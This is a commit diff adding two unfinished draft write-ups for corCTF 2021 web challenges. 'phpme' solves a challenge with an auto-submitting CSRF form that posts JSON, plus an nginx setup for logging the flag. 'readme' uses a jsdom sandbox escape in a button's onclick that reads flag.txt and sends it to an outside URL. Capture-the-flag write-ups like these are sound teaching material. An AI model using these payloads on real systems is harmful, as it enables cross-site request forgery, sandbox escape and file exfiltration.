Compare commits

...

2 Commits

Author SHA1 Message Date
5225225 89ded5b79b 2021: corctf: draft work on readme 2021-08-26 22:15:06 +01:00
5225225 b1db324231 2021: corctf: draft work on phpme 2021-08-24 18:13:57 +01:00
3 changed files with 163 additions and 0 deletions

View File

@ -0,0 +1,94 @@
# DRAFT : NOT FINISHED
# phpme
by [5225225](https://www.5snb.club) and haskal
web / 469 pts / 64 solves
> "This is what normal PHP CTF challenges look like, right?" - A web dev who barely knows PHP
Going to the URL given shows us this source code
```php
<?php
include "secret.php";
// https://stackoverflow.com/a/6041773
function isJSON($string) {
json_decode($string);
return json_last_error() === JSON_ERROR_NONE;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) {
// https://stackoverflow.com/a/7084677
$body = file_get_contents('php://input');
if(isJSON($body) && is_object(json_decode($body))) {
$json = json_decode($body, true);
if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
echo "<script>\n";
echo " let url = '" . htmlspecialchars($json["url"]) . "';\n";
echo " navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
echo "</script>\n";
}
else {
echo "nope :)";
}
}
else {
echo "not json bro";
}
}
else {
echo "ur not admin!!!";
}
}
else {
show_source(__FILE__);
}
?>
```
The challenge is to get the admin bot to visit a URL and make a POST request
without user interaction, and then receive the flag back as a POST to the url
given.
The easiest way to do this is with a form. One issue is that form submission is
submitting key/value pairs, but we need to submit valid JSON. [System Overlord
- Posting JSON with an HTML
Form](https://systemoverlord.com/2016/08/24/posting-json-with-an-html-form.html)
was useful here.
The final solution was
```html
<body onload='document.forms[0].submit()'>
<form action='https://phpme.be.ax/' method='POST' enctype='text/plain'>
<input name='{"yep":"yep yep yep", "url":"<URL>", "trash": "' value='"}'>
</form>
</body>
```
with `<URL>` replaced with some URL that can receive POST requests.
I (522) didn't have an easy setup to receive the values of post requests, so
I got haskal to set up nginx to log the values of POST data, then look through
their logs. There's most definitely cleaner ways to do this, but this worked!
For future reference, the nginx directive to log POSTed data is
```nginx
log_format postdata $request_body;
server {
location /flagzone {
access_log /var/log/nginx/flags.log postdata;
echo_read_request_body;
# ...
}
# ...
}
```
Once you get the data back, you can simply submit the flag and you're done!

View File

@ -0,0 +1,69 @@
# DRAFT : NOT FINISHED
# readme
by [5225225](https://www.5snb.club)
web / 478 pts / 46 solves
> My new site readme is the ultimate tool for readers everywhere. Remove
clutter from any site and also fetch the next chapters with the click of
a button.
provided files: [readme.tar](readme.tar) (Original extension was incorrectly `.tar.xz`)
## solution
Here, you were given a website with some server-side code to process a URL
given to convert it to reader mode, using [mozilla's readability
library](https://github.com/mozilla/readability). I wasn't expecting
a vulnerability in there, but `readme` also had the feature that it would try
and go to things that looked like they were the next page. I won't paste the
full `index.js` from the tar file, but the relevant section is
```js
/**
* Helper function to try and retrieve the next section of a site if it exists.
*/
const loadNextPage = async (dom, socket) => {
let targets = [
...Array.from(dom.window.document.querySelectorAll("a")),
...Array.from(dom.window.document.querySelectorAll("button"))
];
targets = targets.filter(e => (e.textContent + e.className).toLowerCase().includes("next"));
if(targets.length == 0) return;
let target = targets[targets.length - 1];
if(target.tagName === "A") {
let newDom = await refetch(socket, target.href);
return newDom;
}
else if(target.tagName === "BUTTON") {
dom.window.eval(target.getAttribute("onclick"));
return dom;
}
return;
};
```
This will look for `a` tags as well as `button`s. The ability to load a new
page is not all that interesting here, so I skipped looking at the handling for
`a` tags. The evaluation of `button`s is interesting, as it uses
[jsdom](https://github.com/jsdom/jsdom) to interpret the `onclick` of the given
page.
You can't *directly* access properties exposed, but you can do a sandbox escape
using the global constructor given.
<!--TODO: find wherever I got this from it was a stack overflow article and i cannot find it anymore-->
```html
<p id="hello">Hello, World!</p>
<button class="next" onclick="global.constructor.constructor('return process')().mainModule.require('fs').readFile('flag.txt', 'utf8', function(err, fuck) {
const mod = global.constructor.constructor('return process')().mainModule;
const fetch = mod.require('node-fetch');
fetch('<URL>' + fuck)
})">Butt</button>
```

Binary file not shown.